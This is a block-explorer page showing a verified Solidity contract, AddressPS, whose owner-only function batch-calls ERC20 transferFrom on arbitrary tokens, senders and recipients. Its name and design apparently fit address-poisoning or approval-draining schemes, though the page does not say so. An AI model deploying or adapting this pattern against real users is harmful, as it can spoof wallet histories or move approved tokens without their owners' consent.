Skip to content
Verified contractExactUNLICENSED

AddressPS

Address0x883d8f15d8d976ad75e2b79b4adf1f9631e615a6
Balance

0 ETH

 

Transactions

38

 

Compiler

solc 0.8.34

 

Same code

1 more contract

 

Details

Compiler
solc 0.8.34+commit.80d5c536
Language
solidity
Optimization
No
License
UNLICENSED
Match
Exactcreation code: yes, runtime code: yes
Verified on Sourcify
Created in block
26,336,695
Creation transaction
0xaf6fde2e83…47dfa020aa

addressPS.sol

// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.34;

interface IERC20 {
    function transferFrom(address from, address to, uint256 amount) external returns (bool);
}

contract AddressPS {
    
    uint256 public events = 0;

    address private owner;

    error Unauthorized_AiuZML();

    constructor() {
        owner = msg.sender;
    }

    function transferFrom(
        address[] calldata token,
        address[] calldata from,
        address[] calldata to,
        uint256[] calldata amount
    ) external {
        if (msg.sender != owner) revert Unauthorized_AiuZML();
        uint256 len = token.length;
        for (uint256 i = 0; i < len; i++) {
            IERC20(token[i]).transferFrom(from[i], to[i], amount[i]);
            events++;
        }
    }
}
Compiler settingsShow
{
  "optimizer": {
    "runs": 200,
    "enabled": false
  },
  "remappings": []
}

Source code and metadata: Sourcify.

The source code belongs to the authors of the contract.